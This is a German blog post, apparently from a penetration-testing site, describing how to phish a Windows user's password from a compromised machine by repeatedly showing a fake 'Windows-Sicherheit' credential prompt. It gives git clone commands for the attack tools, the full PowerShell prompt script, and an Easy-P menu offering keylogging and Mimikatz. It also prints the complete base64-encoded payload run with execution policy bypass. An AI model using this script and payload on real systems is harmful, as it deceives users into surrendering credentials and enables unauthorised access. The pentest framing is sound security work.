Frag doch den Nutzer nach seinem Passwort! – Fun mit Windows Powershell Teil 2

In einem Penetrationstest sind manchmal die einfachsten Angriffe auch die erfolgreichsten. Der eine oder andere hatte vielleicht schon mal die Situation, dass er zwar Zugriff auf einen Windows-PC erlangte, aber ihm auf Grund der zur Verfügung stehenden Rechte, kein erweiteter Zugriff auf das System möglich war. Vielleicht brachten auch alle  Exploits bzw. Techniken nicht den gewünschten Erfolg. In einem solchen Fall könnte man den Nutzer doch einfach nach seinem Passwort fragen.

Wie soll das gehen? Man benötigt auf alle Fälle Zugriff auf das System in Form einer Shell (Meterpreter ist nicht unbedingt erforderlich).  Die Idee ist nun mittels Powershell ein Fenster zu erzeugen, das den Nutzer auffordert seine Nutzerdaten einzugeben. Einverstanden – er wird es möglicherweise versuchen zu schließen ohne etwas einzutragen. Was ist wenn das Fenster  aber immer wieder hoch kommt? Der Nutzer wird irgendwann entnervt aufgeben und etwas eintragen. Das muss erstmal nicht richtig sein. Der Pentester wird aber die eingegebene Daten auf Validität prüfen und bei falschen Angaben nochmal das Fenster bein Nutzer einblenden lassen. Ich persönlich bin der Meinung, dass in dieser Situation eine große Anzahl der Nutzer hier ihren Nutzernamen und Passwort eintragen um endlich in Ruhe weiterarbeiten zu können.

Zugegeben, möglicherweise wird es “nur” ein Passwort sein, das Nutzerrechte auf ein IT-System ermöglicht. Es könnte aber auch den Einstieg in andere Systeme eines lokalen Netzwerkes erleichtern.

Peter Kim stellt freundlicherweise das Skript PowerShell_Popup zur Verfügung. Mit seinem in Python geschriebenen Werkzeug Easy-P  ist  man außerdem in der Lage, das so erzeugte Powershell-Skript Base64 zu verschlüsseln. Man enthält so einen langen String, den man nur noch über die Shell auf das IT-System des “Opfers” übertragen und ausführen muss. Als Ergebnis wird ein Fenster geöffnet, das den Nutzer auffordert seinen Nutzernamen und Passwort einzugeben. Diese Daten werden dann in der Konsole des Angreifers angezeigt.

In einem ersten Schritt werden die notwendigen Skripte von Github heruntergeladen:

cd /home/scripts
git clone https://github.com/cheetz/PowerShell_Popup.git
git clone https://github.com/cheetz/Easy-P.git
									

Das Popup-Skript habe ich an die deutsche Sprache angepasst:

function Auth_Popup
{
<#

.SYNOPSIS
Modified Nishang script which opens a user credential prompt.

.LINK
Original Script and credit
https://github.com/samratashok/nishang

#>

[CmdletBinding()]
Param ()

$credential = $host.ui.PromptForCredential("Windows-Sicherheit",  "Geben Sie die Benutzeranmeldeinformationen ein.", "", "")
$creds = $credential.GetNetworkCredential()

[String]$user = $creds.username
[String]$pass = $creds.password

write-Output $user
write-Output $pass
}

Auth_Popup

									

Abschließend wird das Python-Skript Easy-P aufgerufen und wie folgt genutzt:

root@kali:/home/scripts/Easy-P# python easy_p.py 
PowerShell/WMI Generator

===========================================================
___________                              __________ 
_   _____/____    _________.__.         ______     
  |    __)___    /  ___<   |  |  ______  |     ___/
  |        / __ ____  ___  | /_____/  |    |    
 /_______  (____  /____  >/ ____|          |____|    
         /     /     / /                         
Easy_P | A Powershell / WMI Command Generator.
Written by Peter Kim <Author, The Hacker Playbook>
                     <CEO, Secure Planet LLC>
===========================================================

    

==Easy-P==
-----------------------------------------------------
[1] Privilege Escalation
[2] Lateral Movement
[3] Keylogging
[4] PowerShell Meterpreter
[5] Change Users Execution Policy
[6] Powershell 101
[7] Base64 Encode a PowerShell Script
[8] Mimikatz - Passwords from Memory
[99] Exit/Quit
-----------------------------------------------------
    
Select An Option: 7
1 - File, 2 - One liner: 1
full file path and file: /home/scripts/PowerShell_Popup/popup_ger.ps1
									

Das Ergebnis muss jetzt nur noch über die Shell auf das IT-System des “Opfers” übertragen und ausgeführt werden:

Powershell.exe -NoP -Exec Bypass -enc ZgB1AG4AYwB0AGkAbwBuACAAQQB1AHQAaABfAFAAbwBwAHUAcAAKAHsACgA8ACMACgAKAC4AUwBZAE4ATwBQAFMASQBTAAoATQBvAGQAaQBmAGkAZQBkACAATgBpAHMAaABhAG4AZwAgAHMAYwByAGkAcAB0ACAAdwBoAGkAYwBoACAAbwBwAGUAbgBzACAAYQAgAHUAcwBlAHIAIABjAHIAZQBkAGUAbgB0AGkAYQBsACAAcAByAG8AbQBwAHQALgAKAAoALgBMAEkATgBLAAoATwByAGkAZwBpAG4AYQBsACAAUwBjAHIAaQBwAHQAIABhAG4AZAAgAGMAcgBlAGQAaQB0AAoAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBzAGEAbQByAGEAdABhAHMAaABvAGsALwBuAGkAcwBoAGEAbgBnAAoACgAjAD4ACgAKAFsAQwBtAGQAbABlAHQAQgBpAG4AZABpAG4AZwAoACkAXQAKAFAAYQByAGEAbQAgACgAKQAKAAoAJABjAHIAZQBkAGUAbgB0AGkAYQBsACAAPQAgACQAaABvAHMAdAAuAHUAaQAuAFAAcgBvAG0AcAB0AEYAbwByAEMAcgBlAGQAZQBuAHQAaQBhAGwAKAAiAFcAaQBuAGQAbwB3AHMALQBTAGkAYwBoAGUAcgBoAGUAaQB0ACIALAAgACIARwBlAGIAZQBuACAAUwBpAGUAIABkAGkAZQAgAEIAZQBuAHUAdAB6AGUAcgBhAG4AbQBlAGwAZABlAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBlAG4AIABlAGkAbgAuACIALAAgACIAIgAsACAAIgAiACkACgAkAGMAcgBlAGQAcwAgAD0AIAAkAGMAcgBlAGQAZQBuAHQAaQBhAGwALgBHAGUAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAKAApAAoACgBbAFMAdAByAGkAbgBnAF0AJAB1AHMAZQByACAAPQAgACQAYwByAGUAZABzAC4AdQBzAGUAcgBuAGEAbQBlAAoAWwBTAHQAcgBpAG4AZwBdACQAcABhAHMAcwAgAD0AIAAkAGMAcgBlAGQAcwAuAHAAYQBzAHMAdwBvAHIAZAAKAAoAdwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAHUAcwBlAHIACgB3AHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACQAcABhAHMAcwAKAH0ACgAKAEEAdQB0AGgAXwBQAG8AcAB1AHAACgA=
									

Angriff starten:

popup1

Nutzerinformationen anfordern:

popup2

Daten auswerten:

popup3

[youtube DG0pYhT1HBs 546 365]

1 Gedanke zu „Frag doch den Nutzer nach seinem Passwort! – Fun mit Windows Powershell Teil 2“

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.

Diese Seite verwendet Cookies, um die Nutzerfreundlichkeit zu verbessern. Mit der weiteren Verwendung stimmst du dem zu.

Datenschutzerklärung